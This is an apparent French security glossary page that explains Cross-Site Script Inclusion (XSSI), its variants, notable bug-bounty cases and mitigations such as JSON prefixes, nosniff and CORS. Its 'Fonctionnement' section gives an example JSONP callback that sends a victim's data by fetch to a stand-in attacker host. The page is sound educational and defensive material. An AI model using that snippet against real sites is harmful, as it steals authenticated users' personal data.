Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Cross-Site Script Inclusion (XSSI)

hacking

Définition

La Cross-Site Script Inclusion (XSSI) est une vulnérabilité web qui permet à un site malveillant de lire des données sensibles depuis un autre site en incluant leurs ressources JavaScript dans une balise <script src=...>. Contrairement au CSRF, l'XSSI permet de lire les données (et non seulement d'effectuer des actions), et contrairement au XSS classique, elle n'injecte pas de code mais lit du contenu légitime de manière illégitime. L'XSSI exploite le fait que les navigateurs permettent le chargement de scripts depuis n'importe quel domaine via des balises script (pour permettre les CDN), mais les scripts chargés ainsi s'exécutent dans le contexte du domaine source. Si un script JavaScript authentifié retourne des données sensibles sous forme de code JavaScript (JSON avec un callback JSONP, variable globale JavaScript, etc.), un site malveillant peut capturer ces données en surchargeant des fonctions JavaScript avant le chargement. Les variantes incluent : XSSI via JSONP (endpoint JSONP qui retourne des données sensibles de l'utilisateur authentifié), XSSI via variables globales (JavaScript qui assigne des données sensibles à window.userData = ...), XSSI via Array/Object constructors overriding (surcharger le constructeur Array pour capturer les données JSON non enveloppées dans une fonction), et XSSI via objet prototype (modifier Object.prototype pour capturer les propriétés). Des bugs Google notables ont été découverts via XSSI : des endpoints GMail et Google+ retournaient des données d'abonnement et de contacts sous forme de JSONP exploitable. Ces vulnérabilités ont été récompensées dans le bug bounty. Les protections incluent : préfixer les réponses JSON avec des séquences non-exécutables ()]}'\n ou for(;;); qui cassent l'inclusion script mais pas le parsing JSON du même domaine après strip du préfixe), utiliser X-Content-Type-Options: nosniff, et remplacer JSONP par CORS pour les API modernes.

Fonctionnement

Site attaquant inclut <script src='https://victime.com/api/user-data?callback=stealData'></script>. Si victime.com retourne stealData({email:'user@example.com',name:'John'}), stealData() est appelée dans le contexte du site attaquant avec les données sensibles. L'attaquant définit sa fonction stealData dans sa page : function stealData(d){fetch('https://attaquant.com/?data='+JSON.stringify(d));}. Les données de l'utilisateur authentifié sur victime.com sont exfiltrées.

Exploitation offensive

Les bugs bounty XSSI via JSONP sont encore trouvés sur des API legacy qui n'ont pas migré vers CORS. La technique nécessite que la victime soit authentifiée sur le site vulnérable ET visite simultanément la page de l'attaquant. Les API mobiles et les APIs d'authentification unique (SSO) avec des callbacks JSONP sont des cibles fréquentes.

Détection et mitigation

Remplacer JSONP par CORS (Access-Control-Allow-Origin avec valeurs strictes) élimine le vecteur XSSI. Pour les réponses JSON, utiliser Content-Type: application/json (pas text/javascript) et X-Content-Type-Options: nosniff. Préfixer les réponses JSON avec des tokens invalides en JavaScript (XSSI protection header : )]}'\n) que le code légitime du même domaine stripe avant parsing.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis